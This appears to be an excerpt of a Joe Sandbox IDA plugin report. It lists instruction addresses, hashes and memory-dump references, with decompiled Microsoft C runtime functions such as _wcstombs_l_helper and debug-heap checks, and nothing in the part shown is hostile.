0x0043c3fe
0x0043c4be
0x0043c500
0x0043c506
0x0043c512
0x00000000
0x0043c4c0
0x0043c4c0
0x0043c4c0
0x0043c4c7
0x00000000
0x0043c4d4
0x0043c4d4
0x0043c4e2
0x0043c4e7
0x0043c4ed
0x0043c4fb
0x0043c518
0x0043c520
0x0043c542
0x0043c542
0x0043c54c
0x0043c55d
0x0043c567
0x0043c569
0x0043c569
0x0043c54e
0x0043c54e
0x0043c54e
0x0043c57c
0x0043c57e
0x0043c57e
0x0043c58b
0x0043c58e
0x0043c58e
0x0043c594
0x0043c597
0x0043c59c
0x00000000
0x00000000
0x0043c5ac
0x0043c5af
0x0043c5b9
0x0043c5c8
0x0043c5d1
0x0043c5e7
0x0043c5ed
0x0043c5fa
0x0043c608
0x0043c608
0x0043c617
0x0043c61f
0x0043c61f
0x0043c627
0x0043c630
0x0043c639
0x0043c645
0x0043c65e
0x0043c664
0x0043c66d
0x0043c66d
0x00000000
0x0043c670
0x00000000
0x0043c670
0x00000000
0x0043c670
0x00000000
0x0043c670
0x00000000
0x0043c670
0x00000000
0x0043c670
0x00000000
0x0043c670
0x0043c670
0x0043c670
0x0043c674
0x0043c850
0x0043c854
0x0043c85c
0x0043c861
0x0043c864
0x0043c864
0x0043c86b
0x0043c86b
0x0043b9eb
0x0043b9f2
0x0043b9ff
0x0043ba04
0x00000000
0x0043ba17
0x0043ba21
0x0043ba48
0x0043ba2f
0x0043ba40
0x0043ba40
0x0043ba21
0x0043ba52
0x0043ba58
0x0043ba64
0x0043ba67
0x0043ba75
0x0043ba78
0x0043ba85
0x0043bb2a
0x0043bb30
0x0043bb3d
0x00000000
0x00000000
0x0043bb43
0x0043bb49
0x00000000
0x0043bb50
0x0043bb50
0x0043bb6a
0x0043bb6f
0x00000000
0x00000000
0x0043bb77
0x0043bb77
0x0043bb7e
0x0043bb81
0x0043bb84
0x0043bb87
0x0043bb8a
0x0043bb8d
0x0043bb90
0x0043bb97
0x0043bb9e
0x00000000
0x00000000
0x0043bbaa
0x0043bbaa
0x0043bbb1
0x0043bbbd
0x0043bbc0
0x0043bbcd
0x00000000
0x00000000
0x0043bbcf
0x0043bbd5
0x0043bbd5
0x0043bbdc
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0043bc20
0x0043bc20
0x0043bc2a
0x0043bc57
0x0043bc61
0x0043bc61
0x0043bc65
0x0043bc2c
0x0043bc2c
0x0043bc38
0x0043bc3f
0x0043bc44
0x0043bc47
0x0043bc4a
0x0043bc4d
0x0043bc4f
0x0043bc4f
0x0043bc52
0x00000000
0x00000000
0x0043bc6d
0x0043bc6d
0x00000000
0x00000000
0x0043bc79
0x0043bc79
0x0043bc83
0x0043bca3
0x0043bca6
0x0043bcb0
0x0043bcb0
0x0043bcb4
0x0043bc85
0x0043bc85
0x0043bc91
0x0043bc98
0x0043bc9a
0x0043bc9a
0x0043bca1
0x00000000
0x00000000
0x0043bcbc
0x0043bcbc
0x0043bcc3
0x0043bccf
0x0043bcd2
0x0043bcdf
0x0043bdf2
0x00000000
0x0043bdf2
0x0043bce5
0x0043bceb
0x0043bceb
0x0043bcf2
0x00000000
0x0043bd29
0x0043bd29
0x0043bd2c
0x0043bd32
0x0043bd59
0x0043bd59
0x0043bd5c
0x0043bd62
0x0043bd86
0x0043bd86
0x0043bd89
0x0043bd8f
0x0043bdc8
0x0043bdd9
0x00000000
0x0043bdd9
0x0043bd91
0x0043bd91
0x0043bd94
0x0043bd9a
0x00000000
0x00000000
0x0043bd9c
0x0043bd9c
0x0043bd9f
0x0043bda5
0x00000000
0x00000000
0x0043bda7
0x0043bda7
0x0043bdaa
0x0043bdb0
0x00000000
0x00000000
0x0043bdb2
0x0043bdb2
0x0043bdb5
0x0043bdbb
0x00000000
0x00000000
0x0043bdbd
0x0043bdbd
0x0043bdc0
0x0043bdc6
0x0043bdca
0x00000000
0x0043bdca
0x00000000
0x0043bdc6
0x0043bd64
0x0043bd64
0x0043bd67
0x0043bd6e
0x00000000
0x0043bd70
0x0043bd73
0x0043bd76
0x0043bd7c
0x0043bd81
0x00000000
0x0043bd81
0x0043bd6e
0x0043bd34
0x0043bd34
0x0043bd37
0x0043bd3e
0x00000000
0x0043bd40
0x0043bd43
0x0043bd46
0x0043bd4c
0x0043bd51
0x00000000
0x0043bd51
0x00000000
0x0043bddb
0x0043bddb
0x0043bdde
0x0043bde1
0x00000000
0x00000000
0x0043bcf9
0x0043bcf9
0x0043bcfc
0x0043bd02
0x0043bd1e
0x0043bd21
0x0043bd04
0x0043bd04
0x0043bd07
0x0043bd0a
0x0043bd10
0x0043bd16
0x0043bd16
0x00000000
0x00000000
0x0043bde6
0x0043bde9
0x0043bdef
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0043bbf9
0x0043bbf9
0x0043bbfc
0x0043bbff
0x00000000
0x00000000
0x0043bc04
0x0043bc07
0x0043bc0d
0x00000000
0x00000000
0x0043bbee
0x0043bbf1
0x0043bbf4
0x00000000
0x00000000
0x0043bbe3
0x0043bbe6
0x0043bbe9
0x00000000
0x00000000
0x0043bc12
0x0043bc15
0x0043bc18
0x00000000
0x00000000
0x0043bc1b
0x00000000
0x00000000
0x0043ba8b
0x0043ba8b
0x0043ba8d
0x0043ba9b
0x0043ba8f
0x0043ba8f
0x0043ba8f
0x0043baab
0x0043bab8
0x0043baba
0x0043babf
0x0043bac1
0x0043bac6
0x0043bacb
0x0043bacd
0x0043bad2
0x0043bad8
0x0043bada
0x0043bada
0x0043bad8
0x0043badb
0x0043bae2
0x00000000
0x0043bae4
0x0043bae9
0x0043bb05
0x0043bb0d
0x0043bb1a
0x0043bb1f
0x0043c934
0x0043c941
0x0043c941
0x0043bae2
0x0043ba85
0x0043c870
0x0043c877
0x0043c88e
0x0043c882
0x0043c882
0x0043c882
0x0043c898
0x0043c89e
0x0043c8ab
0x0043c8ad
0x0043c8b2
0x0043c8b4
0x0043c8b9
0x0043c8be
0x0043c8c0
0x0043c8c5
0x0043c8cb
0x0043c8cd
0x0043c8cd
0x0043c8cb
0x0043c8d5
0x0043c920
0x0043c929
0x0043c92e
0x0043c8d7
0x0043c8dc
0x0043c8f8
0x0043c900
0x0043c90d
0x0043c912
0x0043c912
0x00000000
0x0043c8d5
0x0043c67a
0x0043c680
0x0043c68a
0x0043c6a4
0x0043c6be
0x0043c6c5
0x0043c6c9
0x0043c6c9
0x0043c6a6
0x0043c6ab
0x0043c6af
0x0043c6af
0x0043c68c
0x0043c691
0x0043c695
0x0043c695
0x0043c68a
0x0043c6d9
0x0043c6e5
0x0043c6fb
0x0043c700
0x0043c700
0x0043c716
0x0043c71b
0x0043c724
0x0043c742
0x0043c747
0x0043c747
0x0043c74e
0x0043c808
0x0043c81b
0x0043c820
0x00000000
0x0043c75e
0x0043c75e
0x0043c761
0x0043c76a
0x0043c770
0x0043c770
0x0043c77f
0x0043c787
0x00000000
0x00000000
0x0043c789
0x0043c78c
0x0043c7b1
0x0043c7b6
0x0043c7b9
0x0043c7c6
0x0043c7d4
0x0043c7e7
0x0043c7ec
0x0043c7fb
0x00000000
0x0043c7fb
0x0043c7c8
0x0043c7c8
0x00000000
0x0043c7c8
0x0043c806
0x0043c823
0x0043c82a
0x0043c848
0x0043c84d
0x0043c84d
0x00000000
0x0043c82a
0x0043bdf7
0x0043bdf7
0x0043bdfe
0x0043be04
0x0043be0a
0x0043be0d
0x0043be13
0x0043be20
0x0043be26
0x0043be26
0x0043be2d
0x00000000
0x0043c1b1
0x0043c1b1
0x0043c1bf
0x0043c1c2
0x00000000
0x00000000
0x0043be34
0x0043be37
0x0043be3d
0x0043be42
0x0043be45
0x0043be45
0x00000000
0x00000000
0x0043bf7a
0x0043bf7d
0x0043bf82
0x0043bf87
0x0043bf8a
0x0043bf8a
0x00000000
0x00000000
0x0043c37d
0x0043c37d
0x00000000
0x00000000
0x0043bee4
0x0043bee4
0x0043bef0
0x0043befd
0x0043bf0b
0x0043bf0b
0x0043bf11
0x0043bf14
0x0043bf20
0x0043bf75
0x00000000
0x0043bf75
0x0043beff
0x0043beff
0x0043bf09
0x0043bf25
0x0043bf28
0x0043bf2e
0x0043bf56
0x0043bf5d
0x0043bf63
0x0043bf66
0x0043bf69
0x0043bf6f
0x0043bf72
0x0043bf30
0x0043bf30
0x0043bf36
0x0043bf39
0x0043bf3c
0x0043bf42
0x0043bf45
0x0043bf48
0x0043bf4a
0x0043bf4d
0x0043bf4d
0x00000000
0x0043bf2e
0x00000000
0x00000000
0x0043c1c9
0x0043c1cc
0x0043c1cf
0x0043c1d2
0x0043c1d8
0x0043c1db
0x0043c1e6
0x0043c1f1
0x0043c1f5
0x0043c20c
0x0043c213
0x0043c215
0x0043c215
0x0043c21c
0x0043c223
0x0043c231
0x0043c234
0x0043c243
0x0043c24a
0x0043c25f
0x0043c24c
0x0043c24c
0x0043c24f
0x0043c255
0x0043c25a
0x0043c25a
0x0043c24a
0x0043c269
0x0043c26c
0x0043c26f
0x0043c272
0x0043c275
0x0043c278
0x0043c27e
0x0043c284
0x0043c28c
0x0043c28d
0x0043c290
0x0043c291
0x0043c294
0x0043c295
0x0043c29c
0x0043c29d
0x0043c2a0
0x0043c2a1
0x0043c2a4
0x0043c2a5
0x0043c2ab
0x0043c2ac
0x0043c2bb
0x0043c2bd
0x0043c2c3
0x0043c2c8
0x0043c2d0
0x0043c2d8
0x0043c2d9
0x0043c2dc
0x0043c2dd
0x0043c2ec
0x0043c2ee
0x0043c2ee
0x0043c2f1
0x0043c2fb
0x0043c300
0x0043c306
0x0043c308
0x0043c310
0x0043c311
0x0043c314
0x0043c315
0x0043c323
0x0043c325
0x0043c325
0x0043c306
0x0043c328
0x0043c32b
0x0043c331
0x0043c336
0x0043c33b
0x0043c341
0x0043c344
0x0043c344
0x0043c347
0x0043c353
0x00000000
0x0043c353
0x0043c1f7
0x0043c1f7
0x0043c201
0x00000000
0x00000000
0x0043c203
0x0043c203
0x00000000
0x0043c203
0x0043c1e8
0x0043c1e8
0x00000000
0x00000000
0x0043be48
0x0043be48
0x0043be53
0x0043be5b
0x0043be62
0x0043be65
0x0043be68
0x0043bec8
0x0043be6a
0x0043be71
0x0043be77
0x0043be7d
0x0043be84
0x0043be87
0x0043be8d
0x0043be95
0x0043be97
0x0043be9e
0x0043bea5
0x0043beb6
0x0043beb8
0x0043beb8
0x0043bebf
0x0043becf
0x0043bed5
0x0043bed8
0x00000000
0x00000000
0x0043c35b
0x0043c35e
0x0043c361
0x0043c364
0x00000000
0x00000000
0x0043c0ba
0x0043c0ba
0x0043c0c6
0x0043c0d3
0x0043c17d
0x0043c17d
0x0043c180
0x0043c183
0x0043c197
0x0043c19d
0x0043c1a3
0x0043c185
0x0043c185
0x0043c18b
0x0043c192
0x0043c192
0x0043c1a5
0x00000000
0x0043c1a5
0x0043c0d9
0x0043c0d9
0x0043c0db
0x0043c0e9
0x0043c0dd
0x0043c0dd
0x0043c0dd
0x0043c0f3
0x0043c0f9
0x0043c106
0x0043c108
0x0043c10d
0x0043c10f
0x0043c114
0x0043c119
0x0043c11b
0x0043c120
0x0043c126
0x0043c128
0x0043c128
0x0043c126
0x0043c130
0x0043c178
0x00000000
0x0043c132
0x0043c132
0x0043c137
0x0043c153
0x0043c15b
0x0043c165
0x0043c168
0x0043c16d
0x00000000
0x0043c16d
0x00000000
0x0043c3c4
0x0043c3c4
0x0043c3ce
0x0043c3d4
0x0043c3d9
0x0043c3df
0x0043c3df
0x00000000
0x00000000
0x0043c376
0x0043c376
0x00000000
0x00000000
0x0043bf8d
0x0043bf91
0x0043bf9f
0x0043bfa2
0x0043bf93
0x0043bf93
0x0043bf93
0x0043bfa8
0x0043bfae
0x0043bfb4
0x0043bfc0
0x0043bfc6
0x0043bfc9
0x0043c051
0x0043c055
0x0043c057
0x0043c05d
0x0043c05d
0x0043c060
0x0043c067
0x0043c06a
0x0043c070
0x0043c070
0x0043c070
0x0043c076
0x0043c07c
0x0043c07f
0x0043c087
0x00000000
0x00000000
0x0043c089
0x0043c089
0x0043c08f
0x0043c094
0x00000000
0x00000000
0x0043c096
0x0043c09c
0x0043c09f
0x0043c09f
0x0043c0a7
0x0043c0ad
0x0043c0b0
0x0043c0b2
0x00000000
0x0043bfcf
0x0043bfcf
0x0043bfd3
0x0043bfd5
0x0043bfda
0x0043bfda
0x0043bfdd
0x0043bfe0
0x0043bfe6
0x0043bff8
0x0043bff8
0x0043bff8
0x0043c001
0x00000000
0x00000000
0x0043c003
0x0043c003
0x0043c009
0x0043c00e
0x00000000
0x00000000
0x0043c010
0x0043c010
0x0043c019
0x0043c01f
0x0043c02d
0x0043c035
0x0043c038
0x0043c038
0x0043c044
0x0043c047
0x0043bff2
0x0043bff5
0x0043bff5
0x0043c04f
0x0043c0b5
0x00000000
0x0043c0b5
0x00000000
0x00000000
0x00000000
0x0043c389
0x0043c389
0x0043c393
0x0043c393
0x0043c39d
0x0043c3a3
0x0043c3a5
0x0043c3aa
0x0043c3b4
0x0043c3b7
0x0043c3bb
0x0043c3bb
0x00000000
0x00000000
0x00000000
0x00000000
0x0043be2d
0x0043c670
0x0043c670
0x0043c670
0x0043c670
0x0043c670
0x0043c670
0x0043c670
0x0043c4c7
0x0043c4be
0x0043c3e2
0x0043c3e2
0x0043c3e2

APIs

_get_int64_arg.LIBCMTD ref: 0043C3F0
_get_int64_arg.LIBCMTD ref: 0043C418
__aullrem.LIBCMT ref: 0043C5C0
__aulldiv.LIBCMT ref: 0043C5E2

Strings

9, xrefs: 0043C5F3

Memory Dump Source

Source File: 00000000.00000002.238062965.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.238059645.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.238171919.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.238184578.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.238197820.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_OG9rNsihJ7.jbxd

Similarity

API ID: _get_int64_arg$__aulldiv__aullrem
String ID: 9
API String ID: 2124759748-2366072709
Opcode ID: d3aabd9a36598f600b44d79d1f7dfcc24342421506deca2866edf9d9dd71d9f0
Instruction ID: 1a22e0ef10693a5c27e2a34243c405ee2d2ca369f8443b2163f60da46078287a
Opcode Fuzzy Hash: d3aabd9a36598f600b44d79d1f7dfcc24342421506deca2866edf9d9dd71d9f0
Instruction Fuzzy Hash: 2941F7B1E40129AFDB24CF58C981BAEB7B5FF89314F10519AE149B7201D738AE81CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0041C923, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 60COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0041CA2D
__free_base.LIBCMTD ref: 0041CA39

Strings

f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c, xrefs: 0041C947
pHead->nBlockUse == nBlockUse, xrefs: 0041C93B

Memory Dump Source

Source File: 00000000.00000002.238062965.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.238059645.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.238171919.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.238184578.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.238197820.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_OG9rNsihJ7.jbxd

Similarity

API ID: __free_base_memset
String ID: f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c$pHead->nBlockUse == nBlockUse
API String ID: 2669475236-3676899318
Opcode ID: 51dad71e2ab4394da7975f0f471940e97f980e49e5c8300b54f6ac4105ffffcd
Instruction ID: 4b1f15821c82286b8053eb34469bbfb2d85e20f5d6cfbc026a543697fe875b01
Opcode Fuzzy Hash: 51dad71e2ab4394da7975f0f471940e97f980e49e5c8300b54f6ac4105ffffcd
Instruction Fuzzy Hash: 82215EB9A40104EFCB04CF54DA85AAA77B2BB89308F34C199D4051B396D779EE42DB89

Uniqueness

Uniqueness Score: -1.00%

Function 0041C99E, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 40COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0041CA2D
__free_base.LIBCMTD ref: 0041CA39

Strings

_pLastBlock == pHead, xrefs: 0041C99E
f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c, xrefs: 0041C9AA

Memory Dump Source

Source File: 00000000.00000002.238062965.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.238059645.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.238171919.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.238184578.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.238197820.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_OG9rNsihJ7.jbxd

Similarity

API ID: __free_base_memset
String ID: _pLastBlock == pHead$f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c
API String ID: 2669475236-449961717
Opcode ID: 0c7678b4b6855d5a69be44a663b38ac89b007596763e933cdb05b3e734ba3517
Instruction ID: 26dd624e91dbd9b01b48e44b4828c7debad6a1a4134b1d8f5b84125b8e292ab2
Opcode Fuzzy Hash: 0c7678b4b6855d5a69be44a663b38ac89b007596763e933cdb05b3e734ba3517
Instruction Fuzzy Hash: 1C0184B8A40104EBC704CB54DE81BAAB3B1BF48708F34819AE9056B382D679DF51DB89

Uniqueness

Uniqueness Score: -1.00%

Function 00437156, Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 39
COMMON

Download Yara Rule

C-Code - Quality: 84%

			E00437156(intOrPtr __ebx, void* __edx, intOrPtr __edi, intOrPtr __esi) {
				intOrPtr* _t155;
				signed int* _t157;
				signed int _t162;
				intOrPtr* _t179;
				intOrPtr _t201;
				void* _t220;
				intOrPtr _t221;
				void* _t222;
				intOrPtr _t240;
				intOrPtr _t247;
				intOrPtr _t290;
				intOrPtr _t291;
				signed int _t292;
				void* _t294;

				_t291 = __esi;
				_t290 = __edi;
				_t221 = __ebx;
				if( *(_t292 + 0x10) != 0) {
					 *(_t292 - 0x30) = 0 |  *(_t292 + 0xc) != 0x00000000;
					if( *(_t292 - 0x30) == 0) {
						_push(L"pwcs != NULL");
						_push(0);
						_push(0x66);
						_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wcstombs.c");
						_push(2);
						_t220 = L0041E350();
						_t294 = _t294 + 0x14;
						if(_t220 == 1) {
							asm("int3");
						}
					}
					if( *(_t292 - 0x30) != 0) {
						_t274 =  *(_t292 + 0x14);
						L0041AD10(_t292 - 0x20,  *(_t292 + 0x14));
						if( *(_t292 + 8) == 0) {
							_t155 = E0041AE20(_t292 - 0x20);
							_t225 =  *_t155;
							if( *((intOrPtr*)( *_t155 + 0x14)) != 0) {
								_t227 = _t292 - 0x20;
								_t157 = E0041AE20(_t292 - 0x20);
								_t274 =  *_t157;
								 *(_t292 - 4) = WideCharToMultiByte( *( *_t157 + 4), 0,  *(_t292 + 0xc), 0xffffffff, 0, 0, 0, _t292 - 0x10);
								if( *(_t292 - 4) == 0 ||  *(_t292 - 0x10) != 0) {
									 *((intOrPtr*)(L00422E40(_t227))) = 0x2a;
									 *(_t292 - 0x68) = 0xffffffff;
									E0041ADF0(_t292 - 0x20);
									_t162 =  *(_t292 - 0x68);
								} else {
									 *(_t292 - 0x6c) =  *(_t292 - 4) - 1;
									E0041ADF0(_t292 - 0x20);
									_t162 =  *(_t292 - 0x6c);
								}
							} else {
								_t274 =  *(_t292 + 0xc);
								 *(_t292 - 0x64) = E0042DC90(_t225,  *(_t292 + 0xc));
								E0041ADF0(_t292 - 0x20);
								_t162 =  *(_t292 - 0x64);
							}
						} else {
							if( *((intOrPtr*)( *((intOrPtr*)(E0041AE20(_t292 - 0x20))) + 0x14)) != 0) {
								if( *((intOrPtr*)( *((intOrPtr*)(E0041AE20(_t292 - 0x20))) + 0xac)) != 1) {
									_t240 =  *((intOrPtr*)(E0041AE20(_t292 - 0x20)));
									_t274 =  *(_t240 + 4);
									 *(_t292 - 4) = WideCharToMultiByte( *(_t240 + 4), 0,  *(_t292 + 0xc), 0xffffffff,  *(_t292 + 8),  *(_t292 + 0x10), 0, _t292 - 0x10);
									if( *(_t292 - 4) == 0 ||  *(_t292 - 0x10) != 0) {
										if( *(_t292 - 0x10) != 0 || GetLastError() != 0x7a) {
											 *((intOrPtr*)(L00422E40(_t240))) = 0x2a;
											 *(_t292 - 0x4c) = 0xffffffff;
											E0041ADF0(_t292 - 0x20);
											_t162 =  *(_t292 - 0x4c);
										} else {
											while( *(_t292 - 4) <  *(_t292 + 0x10)) {
												_t179 = E0041AE20(_t292 - 0x20);
												_t247 =  *((intOrPtr*)(E0041AE20(_t292 - 0x20)));
												_t274 =  *(_t247 + 4);
												 *((intOrPtr*)(_t292 - 0xc)) = WideCharToMultiByte( *(_t247 + 4), 0,  *(_t292 + 0xc), 1, _t292 - 0x2c,  *( *_t179 + 0xac), 0, _t292 - 0x10);
												if( *((intOrPtr*)(_t292 - 0xc)) == 0 ||  *(_t292 - 0x10) != 0) {
													 *((intOrPtr*)(L00422E40(_t247))) = 0x2a;
													 *(_t292 - 0x50) = 0xffffffff;
													E0041ADF0(_t292 - 0x20);
													_t162 =  *(_t292 - 0x50);
												} else {
													if( *((intOrPtr*)(_t292 - 0xc)) < 0 ||  *((intOrPtr*)(_t292 - 0xc)) > 5) {
														 *((intOrPtr*)(L00422E40(_t247))) = 0x2a;
														 *(_t292 - 0x54) = 0xffffffff;
														E0041ADF0(_t292 - 0x20);
														_t162 =  *(_t292 - 0x54);
													} else {
														if( *(_t292 - 4) +  *((intOrPtr*)(_t292 - 0xc)) <=  *(_t292 + 0x10)) {
															 *(_t292 - 8) = 0;
															while( *(_t292 - 8) <  *((intOrPtr*)(_t292 - 0xc))) {
																( *(_t292 + 8))[ *(_t292 - 4)] =  *((intOrPtr*)(_t292 +  *(_t292 - 8) - 0x2c));
																_t274 =  &(( *(_t292 + 8))[ *(_t292 - 4)]);
																if(( *(_t292 + 8))[ *(_t292 - 4)] != 0) {
																	 *(_t292 - 8) =  *(_t292 - 8) + 1;
																	 *(_t292 - 4) =  *(_t292 - 4) + 1;
																	continue;
																}
																 *(_t292 - 0x5c) =  *(_t292 - 4);
																E0041ADF0(_t292 - 0x20);
																_t162 =  *(_t292 - 0x5c);
																goto L55;
															}
															_t274 =  &(( *(_t292 + 0xc))[1]);
															 *(_t292 + 0xc) =  &(( *(_t292 + 0xc))[1]);
															continue;
														}
														 *(_t292 - 0x58) =  *(_t292 - 4);
														E0041ADF0(_t292 - 0x20);
														_t162 =  *(_t292 - 0x58);
													}
												}
												goto L55;
											}
											 *(_t292 - 0x60) =  *(_t292 - 4);
											E0041ADF0(_t292 - 0x20);
											_t162 =  *(_t292 - 0x60);
										}
									} else {
										 *(_t292 - 0x48) =  *(_t292 - 4) - 1;
										E0041ADF0(_t292 - 0x20);
										_t162 =  *(_t292 - 0x48);
									}
									goto L55;
								}
								if( *(_t292 + 0x10) > 0) {
									 *(_t292 + 0x10) = E004375C0( *(_t292 + 0xc),  *(_t292 + 0x10));
								}
								_t274 =  *(_t292 + 0xc);
								_t201 =  *((intOrPtr*)(E0041AE20(_t292 - 0x20)));
								_t260 =  *(_t201 + 4);
								 *(_t292 - 4) = WideCharToMultiByte( *(_t201 + 4), 0,  *(_t292 + 0xc),  *(_t292 + 0x10),  *(_t292 + 8),  *(_t292 + 0x10), 0, _t292 - 0x10);
								if( *(_t292 - 4) == 0 ||  *(_t292 - 0x10) != 0) {
									 *((intOrPtr*)(L00422E40(_t260))) = 0x2a;
									 *(_t292 - 0x44) = 0xffffffff;
									E0041ADF0(_t292 - 0x20);
									_t162 =  *(_t292 - 0x44);
								} else {
									if( *((char*)( &(( *(_t292 + 8))[ *(_t292 - 4)]) - 1)) == 0) {
										 *(_t292 - 4) =  *(_t292 - 4) - 1;
									}
									_t274 =  *(_t292 - 4);
									 *(_t292 - 0x40) =  *(_t292 - 4);
									E0041ADF0(_t292 - 0x20);
									_t162 =  *(_t292 - 0x40);
								}
								goto L55;
							} else {
								goto L10;
							}
							while(1) {
								L10:
								_t265 =  *(_t292 - 4);
								if( *(_t292 - 4) >=  *(_t292 + 0x10)) {
									break;
								}
								_t274 =  *(_t292 + 0xc);
								if(( *( *(_t292 + 0xc)) & 0x0000ffff) <= 0xff) {
									( *(_t292 + 8))[ *(_t292 - 4)] =  *( *(_t292 + 0xc));
									_t274 =  *( *(_t292 + 0xc)) & 0x0000ffff;
									 *(_t292 + 0xc) =  &(( *(_t292 + 0xc))[1]);
									if(( *( *(_t292 + 0xc)) & 0x0000ffff) != 0) {
										_t274 =  *(_t292 - 4) + 1;
										 *(_t292 - 4) =  *(_t292 - 4) + 1;
										continue;
									}
									 *(_t292 - 0x38) =  *(_t292 - 4);
									E0041ADF0(_t292 - 0x20);
									_t162 =  *(_t292 - 0x38);
									goto L55;
								}
								 *((intOrPtr*)(L00422E40(_t265))) = 0x2a;
								 *(_t292 - 0x34) = 0xffffffff;
								E0041ADF0(_t292 - 0x20);
								_t162 =  *(_t292 - 0x34);
								goto L55;
							}
							 *(_t292 - 0x3c) =  *(_t292 - 4);
							E0041ADF0(_t292 - 0x20);
							_t162 =  *(_t292 - 0x3c);
						}
					} else {
						 *((intOrPtr*)(L00422E40(_t222))) = 0x16;
						_t162 = E00422BD0(_t221, _t222, _t290, _t291, L"pwcs != NULL", L"_wcstombs_l_helper", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wcstombs.c", 0x66, 0) | 0xffffffff;
					}
					goto L55;
				} else {
					_t162 = 0;
					L55:
					return E0042BDF0(_t162, _t221,  *(_t292 - 0x24) ^ _t292, _t274, _t290, _t291);
				}
			}

0x00437156
0x00437156
0x00437156
0x0043715a
0x0043716c
0x00437173
0x00437175
0x0043717a
0x0043717c
0x0043717e
0x00437183
0x00437185
0x0043718a
0x00437190
0x00437192
0x00437192
0x00437190
0x00437197
0x004371c7
0x004371ce
0x004371d7
0x0043750e
0x00437513
0x00437519
0x0043754b
0x0043754e
0x00437553
0x0043755f
0x00437566
0x00437573
0x00437579
0x00437583
0x00437588
0x0043758d
0x00437593
0x00437599
0x0043759e
0x0043759e
0x0043751b
0x0043751b
0x00437527
0x0043752d
0x00437532
0x00437532
0x004371dd
0x004371eb
0x00437295
0x00437361
0x00437363
0x0043736d
0x00437374
0x00437399
0x004373ab
0x004373b1
0x004373bb
0x004373c0
0x004373c8
0x004373c8
0x004373dd
0x004373ff
0x00437401
0x0043740b
0x00437412
0x0043741f
0x00437425
0x0043742f
0x00437434
0x0043743c
0x00437440
0x0043744d
0x00437453
0x0043745d
0x00437462
0x0043746a
0x00437473
0x0043748b
0x004374a6
0x004374bb
0x004374c0
0x004374c8
0x0043749a
0x004374a3
0x00000000
0x004374a3
0x004374cd
0x004374d3
0x004374d8
0x00000000
0x004374d8
0x004374e5
0x004374e8
0x00000000
0x004374e8
0x00437478
0x0043747e
0x00437483
0x00437483
0x00437440
0x00000000
0x00437412
0x004374f3
0x004374f9
0x004374fe
0x004374fe
0x0043737c
0x00437382
0x00437388
0x0043738d
0x0043738d
0x00000000
0x00437374
0x0043729f
0x004372b1
0x004372b1
0x004372c6
0x004372d4
0x004372d6
0x004372e0
0x004372e7
0x00437321
0x00437327
0x00437331
0x00437336
0x004372ef
0x004372fb
0x00437303
0x00437303
0x00437306
0x00437309
0x0043730f
0x00437314
0x00437314
0x00000000
0x00000000
0x00000000
0x00000000
0x004371f1
0x004371f1
0x004371f1
0x004371f7
0x00000000
0x00000000
0x004371f9
0x00437204
0x00437233
0x00437238
0x00437241
0x00437246
0x00437261
0x00437264
0x00000000
0x00437264
0x0043724b
0x00437251
0x00437256
0x00000000
0x00437256
0x0043720b
0x00437211
0x0043721b
0x00437220
0x00000000
0x00437220
0x0043726c
0x00437272
0x00437277
0x00437277
0x00437199
0x0043719e
0x004371bf
0x004371bf
0x00000000
0x0043715c
0x0043715c
0x004375ab
0x004375b8
0x004375b8

APIs

__invalid_parameter.LIBCMTD ref: 004371B7

Strings

_wcstombs_l_helper, xrefs: 004371AD
f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c, xrefs: 0043717E, 004371A8
pwcs != NULL, xrefs: 00437175, 004371B2

Memory Dump Source

Source File: 00000000.00000002.238062965.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.238059645.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.238171919.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.238184578.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.238197820.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_OG9rNsihJ7.jbxd

Similarity

API ID: __invalid_parameter
String ID: _wcstombs_l_helper$f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c$pwcs != NULL
API String ID: 3730194576-2632876063
Opcode ID: 2b1f287f38c702de7cfd52cd2d906e40cfd5b83070ebafd4c59885059780b8f3
Instruction ID: 6d6eb23d1ce98e1ea5b0cc5cb20def5caa22056722faf23318d03e67c8c66196
